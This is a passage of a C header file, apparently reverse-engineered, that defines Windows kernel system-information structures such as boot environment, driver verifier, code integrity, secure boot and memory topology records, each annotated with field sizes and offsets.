    UCHAR Data4[8]; // Size=8 Offset=8
} GUID;

typedef enum _FIRMWARE_TYPE
{
    FirmwareTypeUnknown=0,
    FirmwareTypeBios=1,
    FirmwareTypeUefi=2,
    FirmwareTypeMax=3
} FIRMWARE_TYPE;

struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION // Size=32
{
    GUID BootIdentifier; // Size=16 Offset=0
    FIRMWARE_TYPE FirmwareType; // Size=4 Offset=16
    ULONGLONG BootFlags; // Size=8 Offset=24
};

struct _SYSTEM_VERIFIER_INFORMATION_EX // Size=36
{
    ULONG VerifyMode; // Size=4 Offset=0
    ULONG OptionChanges; // Size=4 Offset=4
    UNICODE_STRING PreviousBucketName; // Size=8 Offset=8
    ULONG IrpCancelTimeoutMsec; // Size=4 Offset=16
    ULONG VerifierExtensionEnabled; // Size=4 Offset=20
    ULONG Reserved[3]; // Size=12 Offset=24
};

struct _SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION // Size=8
{
    ULONG FlagsToEnable; // Size=4 Offset=0
    ULONG FlagsToDisable; // Size=4 Offset=4
};

struct _SYSTEM_PREFETCH_PATCH_INFORMATION // Size=4
{
    ULONG PrefetchPatchCount; // Size=4 Offset=0
};

struct _SYSTEM_VERIFIER_FAULTS_INFORMATION // Size=24
{
    ULONG Probability; // Size=4 Offset=0
    ULONG MaxProbability; // Size=4 Offset=4
    UNICODE_STRING PoolTags; // Size=8 Offset=8
    UNICODE_STRING Applications; // Size=8 Offset=16
};

struct _SYSTEM_SYSTEM_PARTITION_INFORMATION // Size=8
{
    UNICODE_STRING SystemPartition; // Size=8 Offset=0
};

struct _SYSTEM_SYSTEM_DISK_INFORMATION // Size=8
{
    UNICODE_STRING SystemDisk; // Size=8 Offset=0
};

struct _SYSTEM_CODEINTEGRITY_INFORMATION // Size=8
{
    ULONG Length; // Size=4 Offset=0
    ULONG CodeIntegrityOptions; // Size=4 Offset=4
};

struct _SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION // Size=4
{
    ULONG Operation; // Size=4 Offset=0
};

struct _SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION // Size=8
{
    ULONGLONG CycleTime; // Size=8 Offset=0
};

struct _SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // Size=36
{
    PVOID KeyHandle; // Size=4 Offset=0
    PUNICODE_STRING ValueNamePointer; // Size=4 Offset=4
    ULONG_PTR RequiredLengthPointer; // Size=4 Offset=8
    PUCHAR Buffer; // Size=4 Offset=12
    ULONG BufferLength; // Size=4 Offset=16
    ULONG Type; // Size=4 Offset=20
    PUCHAR AppendBuffer; // Size=4 Offset=24
    ULONG AppendBufferLength; // Size=4 Offset=28
    UCHAR CreateIfDoesntExist; // Size=1 Offset=32
    UCHAR TruncateExistingValue; // Size=1 Offset=33
};

struct _SYSTEM_VHD_BOOT_INFORMATION // Size=12
{
    UCHAR OsDiskIsVhd; // Size=1 Offset=0
    ULONG OsVhdFilePathOffset; // Size=4 Offset=4
    WCHAR OsVhdParentVolume[1]; // Size=2 Offset=8
};

struct _SYSTEM_ERROR_PORT_TIMEOUTS // Size=8
{
    ULONG StartTimeout; // Size=4 Offset=0
    ULONG CommTimeout; // Size=4 Offset=4
};

struct _SYSTEM_LOW_PRIORITY_IO_INFORMATION // Size=40
{
    ULONG LowPriReadOperations; // Size=4 Offset=0
    ULONG LowPriWriteOperations; // Size=4 Offset=4
    ULONG KernelBumpedToNormalOperations; // Size=4 Offset=8
    ULONG LowPriPagingReadOperations; // Size=4 Offset=12
    ULONG KernelPagingReadsBumpedToNormal; // Size=4 Offset=16
    ULONG LowPriPagingWriteOperations; // Size=4 Offset=20
    ULONG KernelPagingWritesBumpedToNormal; // Size=4 Offset=24
    ULONG BoostedIrpCount; // Size=4 Offset=28
    ULONG BoostedPagingIrpCount; // Size=4 Offset=32
    ULONG BlanketBoostCount; // Size=4 Offset=36
};

struct _SYSTEM_VERIFIER_COUNTERS_INFORMATION // Size=168
{
    SYSTEM_VERIFIER_INFORMATION Legacy; // Size=104 Offset=0
    ULONG RaiseIrqls; // Size=4 Offset=104
    ULONG AcquireSpinLocks; // Size=4 Offset=108
    ULONG SynchronizeExecutions; // Size=4 Offset=112
    ULONG AllocationsWithNoTag; // Size=4 Offset=116
    ULONG AllocationsFailed; // Size=4 Offset=120
    ULONG AllocationsFailedDeliberately; // Size=4 Offset=124
    ULONG LockedBytes; // Size=4 Offset=128
    ULONG PeakLockedBytes; // Size=4 Offset=132
    ULONG MappedLockedBytes; // Size=4 Offset=136
    ULONG PeakMappedLockedBytes; // Size=4 Offset=140
    ULONG MappedIoSpaceBytes; // Size=4 Offset=144
    ULONG PeakMappedIoSpaceBytes; // Size=4 Offset=148
    ULONG PagesForMdlBytes; // Size=4 Offset=152
    ULONG PeakPagesForMdlBytes; // Size=4 Offset=156
    ULONG ContiguousMemoryBytes; // Size=4 Offset=160
    ULONG PeakContiguousMemoryBytes; // Size=4 Offset=164
};

struct _SYSTEM_ACPI_AUDIT_INFORMATION // Size=8
{
    ULONG RsdpCount; // Size=4 Offset=0
    struct
    {
        ULONG SameRsdt: 1; // Size=4 Offset=4 BitOffset=0 BitCount=1
        ULONG SlicPresent: 1; // Size=4 Offset=4 BitOffset=1 BitCount=1
        ULONG SlicDifferent: 1; // Size=4 Offset=4 BitOffset=2 BitCount=1
    };
};

struct _SYSTEM_BASIC_PERFORMANCE_INFORMATION // Size=16
{
    ULONG AvailablePages; // Size=4 Offset=0
    ULONG CommittedPages; // Size=4 Offset=4
    ULONG CommitLimit; // Size=4 Offset=8
    ULONG PeakCommitment; // Size=4 Offset=12
};

typedef struct _QUERY_PERFORMANCE_COUNTER_FLAGS // Size=4
{
    struct
    {
        ULONG KernelTransition: 1; // Size=4 Offset=0 BitOffset=0 BitCount=1
        ULONG Reserved: 31; // Size=4 Offset=0 BitOffset=1 BitCount=31
    };
    ULONG ul; // Size=4 Offset=0
} QUERY_PERFORMANCE_COUNTER_FLAGS;

struct _SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // Size=12
{
    ULONG Version; // Size=4 Offset=0
    QUERY_PERFORMANCE_COUNTER_FLAGS Flags; // Size=4 Offset=4
    QUERY_PERFORMANCE_COUNTER_FLAGS ValidFlags; // Size=4 Offset=8
};

struct _SYSTEM_SESSION_BIGPOOL_INFORMATION // Size=24
{
    ULONG NextEntryOffset; // Size=4 Offset=0
    ULONG SessionId; // Size=4 Offset=4
    ULONG Count; // Size=4 Offset=8
    SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; // Size=12 Offset=12
};

typedef enum _SYSTEM_PIXEL_FORMAT
{
    SystemPixelFormatUnknown=0,
    SystemPixelFormatR8G8B8=1,
    SystemPixelFormatR8G8B8X8=2,
    SystemPixelFormatB8G8R8=3,
    SystemPixelFormatB8G8R8X8=4
} SYSTEM_PIXEL_FORMAT;

struct _SYSTEM_BOOT_GRAPHICS_INFORMATION // Size=32
{
    LARGE_INTEGER FrameBuffer; // Size=8 Offset=0
    ULONG Width; // Size=4 Offset=8
    ULONG Height; // Size=4 Offset=12
    ULONG PixelStride; // Size=4 Offset=16
    ULONG Flags; // Size=4 Offset=20
    SYSTEM_PIXEL_FORMAT Format; // Size=4 Offset=24
};

typedef struct _PEBS_DS_SAVE_AREA // Size=96
{
    ULONGLONG BtsBufferBase; // Size=8 Offset=0
    ULONGLONG BtsIndex; // Size=8 Offset=8
    ULONGLONG BtsAbsoluteMaximum; // Size=8 Offset=16
    ULONGLONG BtsInterruptThreshold; // Size=8 Offset=24
    ULONGLONG PebsBufferBase; // Size=8 Offset=32
    ULONGLONG PebsIndex; // Size=8 Offset=40
    ULONGLONG PebsAbsoluteMaximum; // Size=8 Offset=48
    ULONGLONG PebsInterruptThreshold; // Size=8 Offset=56
    ULONGLONG PebsCounterReset0; // Size=8 Offset=64
    ULONGLONG PebsCounterReset1; // Size=8 Offset=72
    ULONGLONG PebsCounterReset2; // Size=8 Offset=80
    ULONGLONG PebsCounterReset3; // Size=8 Offset=88
} PEBS_DS_SAVE_AREA;

typedef struct _PROCESSOR_PROFILE_CONTROL_AREA // Size=96
{
     PEBS_DS_SAVE_AREA PebsDsSaveArea; // Size=96 Offset=0
} *PPROCESSOR_PROFILE_CONTROL_AREA;

struct _SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA // Size=8
{
    PPROCESSOR_PROFILE_CONTROL_AREA ProcessorProfileControlArea; // Size=4 Offset=0
    UCHAR Allocate; // Size=1 Offset=4
};

struct _SYSTEM_ENTROPY_TIMING_INFORMATION // Size=12
{
    PVOID EntropyRoutine; // Size=4 Offset=0 VOID (* EntropyRoutine)(PVOID,ULONG)
    PVOID InitializationRoutine; // Size=4 Offset=4 VOID ( * InitializationRoutine)(PVOID,ULONG,PVOID)
    PVOID InitializationContext; // Size=4 Offset=8
};

struct _SYSTEM_CONSOLE_INFORMATION // Size=4
{
    ULONG DriverLoaded: 1; // Size=4 Offset=0 BitOffset=0 BitCount=1
    ULONG Spare: 31; // Size=4 Offset=0 BitOffset=1 BitCount=31
};

struct _SYSTEM_PLATFORM_BINARY_INFORMATION // Size=24
{
    ULONGLONG PhysicalAddress; // Size=8 Offset=0
    PVOID HandoffBuffer; // Size=4 Offset=8
    PVOID CommandLineBuffer; // Size=4 Offset=12
    ULONG HandoffBufferSize; // Size=4 Offset=16
    ULONG CommandLineBufferSize; // Size=4 Offset=20
};

struct _SYSTEM_DEVICE_DATA_INFORMATION // Size=28
{
    UNICODE_STRING DeviceId; // Size=8 Offset=0
    UNICODE_STRING DataName; // Size=8 Offset=8
    ULONG DataType; // Size=4 Offset=16
    ULONG DataBufferLength; // Size=4 Offset=20
    PVOID DataBuffer; // Size=4 Offset=24
};

typedef struct _PHYSICAL_CHANNEL_RUN // Size=32
{
    ULONG NodeNumber; // Size=4 Offset=0
    ULONG ChannelNumber; // Size=4 Offset=4
    ULONGLONG BasePage; // Size=8 Offset=8
    ULONGLONG PageCount; // Size=8 Offset=16
    ULONG Flags; // Size=4 Offset=24
} PHYSICAL_CHANNEL_RUN;

struct _SYSTEM_MEMORY_TOPOLOGY_INFORMATION // Size=48
{
    ULONGLONG NumberOfRuns; // Size=8 Offset=0
    ULONG NumberOfNodes; // Size=4 Offset=8
    ULONG NumberOfChannels; // Size=4 Offset=12
    PHYSICAL_CHANNEL_RUN Run[1]; // Size=32 Offset=16
};

struct _SYSTEM_MEMORY_CHANNEL_INFORMATION // Size=40
{
    ULONG ChannelNumber; // Size=4 Offset=0
    ULONG ChannelHeatIndex; // Size=4 Offset=4
    ULONGLONG TotalPageCount; // Size=8 Offset=8
    ULONGLONG ZeroPageCount; // Size=8 Offset=16
    ULONGLONG FreePageCount; // Size=8 Offset=24
    ULONGLONG StandbyPageCount; // Size=8 Offset=32
};

struct _SYSTEM_BOOT_LOGO_INFORMATION // Size=8
{
    ULONG Flags; // Size=4 Offset=0
    ULONG BitmapOffset; // Size=4 Offset=4
};

struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // Size=72
{
    LARGE_INTEGER IdleTime; // Size=8 Offset=0
    LARGE_INTEGER KernelTime; // Size=8 Offset=8
    LARGE_INTEGER UserTime; // Size=8 Offset=16
    LARGE_INTEGER DpcTime; // Size=8 Offset=24
    LARGE_INTEGER InterruptTime; // Size=8 Offset=32
    ULONG InterruptCount; // Size=4 Offset=40
    ULONG Spare0; // Size=4 Offset=44
    LARGE_INTEGER AvailableTime; // Size=8 Offset=48
    LARGE_INTEGER Spare1; // Size=8 Offset=56
    LARGE_INTEGER Spare2; // Size=8 Offset=64
};

struct _SYSTEM_SECUREBOOT_POLICY_INFORMATION // Size=24
{
    GUID PolicyPublisher; // Size=16 Offset=0
    ULONG PolicyVersion; // Size=4 Offset=16
    ULONG PolicyOptions; // Size=4 Offset=20
};

struct _SYSTEM_SECUREBOOT_INFORMATION // Size=2
{
    UCHAR SecureBootEnabled; // Size=1 Offset=0
    UCHAR SecureBootCapable; // Size=1 Offset=1
};

struct _SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION // Size=1
{
    UCHAR EfiLauncherEnabled; // Size=1 Offset=0
};